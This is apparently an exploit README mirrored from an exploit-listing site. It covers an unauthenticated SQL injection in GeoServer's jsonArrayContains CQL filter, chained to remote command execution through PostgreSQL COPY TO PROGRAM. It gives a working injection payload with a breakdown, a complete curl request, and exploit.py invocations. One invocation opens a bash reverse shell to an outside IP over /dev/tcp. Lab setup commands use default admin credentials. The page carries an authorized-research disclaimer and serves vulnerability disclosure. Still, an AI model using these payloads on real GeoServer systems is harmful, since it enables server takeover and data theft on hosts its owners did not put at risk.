## https://sploitus.com/exploit?id=A4039CC7-2E50-5B4C-906C-53025202BDD9
# GeoServer SQL Injection to RCE (Zero-Day)
**CVE:** None (yet?) | **CVSS:** 9.8 (Critical)
``CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H``
This vulnerability has been assigned **GHSA-mqjf-5f49-2fjh** by the GeoServer/GeoTools team and is actively being exploited in the wild as of August 2026.
The vulnerability has been patched but since it's so fresh (`1786870173`) it's still being exploited heavily around the web.
## TLDR
Unauthenticated SQL injection in GeoServer's `jsonArrayContains` function
-> Remote Code Execution via PostgreSQL `COPY TO PROGRAM`.
## The vulnerability
GeoServer's (specifically in GeoTools) `jsonArrayContains` function, used to query JSON arrays in PostgreSQL, contains a **critical SQL injection vulnerability**. The third parameter (`expected`) is **directly concatenated** into the SQL query without any sanitization, escaping, or parameter binding.
Specifically this:
```
jsonb_path_exists("column"::jsonb, '$ ? (@.key == "")')
```
### Deeper dive
The vulnerability comes from `GeoTools`' `FilterToSqlHelper.constructEquality` method.
The `jsonArrayContains` function's third parameter (`expected`) is directly written into the SQL string using `String.formatted()` without any escaping.
```js
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);
```
This flaw is not a new bug, it's a regression of **CVE-2023-25158** (an identical CVSS 9.8 SQL injection vulnerability)
The new vulnerability was introduced when `GEOT-7589` added `jsonb_path_exists` support for PostgreSQL 12+.
The 2023 patch didn't protect the `jsonArrayContains` function, which was added/modified after that remediation.
## Demo
https://github.com/user-attachments/assets/d0913a18-249f-4364-bfe5-959af1660a1d
## Payload
Esentially this:
```
jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true
```
**Payload Breakdown:**
| Component | Purpose |
|-----------|---------|
| `jsonArrayContains(data,'/x','y")\'')` | Calls function with crafted third param |
| `OR 1=1))` | Closes JSON path and function call |
| `AS gt_injected;` | Aliases the derived table |
| `COPY (SELECT 1) TO PROGRAM 'COMMAND'` | PostgreSQL RCE command |
| `--')=true` | Comments out remaining SQL |
**Manual curl**
```bash
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
--data-urlencode "service=WFS" \
--data-urlencode "version=2.0.0" \
--data-urlencode "request=GetFeature" \
--data-urlencode "typeNames=topp:test_json" \
--data-urlencode "outputFormat=application/json" \
--data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"
```
## Usage
Nobody wants to run curl right? here's the usage of exploit.py
**File Creation PoC**
```bash
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "echo what\'s up BrOoOoO00????? > /tmp/yonliud.txt" \
--show-payload
```
**RCE PoC**
```bash
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "bash -c 'bash -i >& /dev/tcp/172.26.242.223/4444 0>&1'" \
--show-payload
```
## Lab
A `docker-compose.yml` is provided for simplicity to have a quick start with the PoC.
After initialization using
```
Docker compose up -d
```
we can setup the enviroment using the REST api available to us
```bash
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '
test_json_store
db
5432
geoserver_data
geoserver
geoserver
postgis
'
```
**Publish the layer**
```bash
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '
test_json
test_json
Test JSON Layer
EPSG:4326
'
```
## [Original X post](https://x.com/q1uf3ng/status/2087490992723407096)
## Disclaimer
This repository contains an independent proof-of-concept exploit for the GeoServer ;jsonArrayContains; zero-day SQL injection to RCE vulnerability.
This vulnerability was originally discovered and disclosed by η§ι£ ([@q1uf3ng](https://x.com/q1uf3ng)). The exploit chain was recreated and validated in a controlled lab environment.
This project is intended solely for authorized security research,
education, and testing in isolated laboratory environments.
Do not use this software against systems, networks, or data without
explicit authorization from the owner. You are solely responsible for
complying with all applicable laws and for any consequences resulting
from your use of this project.
The author, YonLiud, provides this project βas is,β without warranties
of any kind, and accepts no responsibility for damage, data loss,
service disruption, unauthorized access, or other misuse caused by this
software or derivative works.
By using this project, you acknowledge and accept these conditions.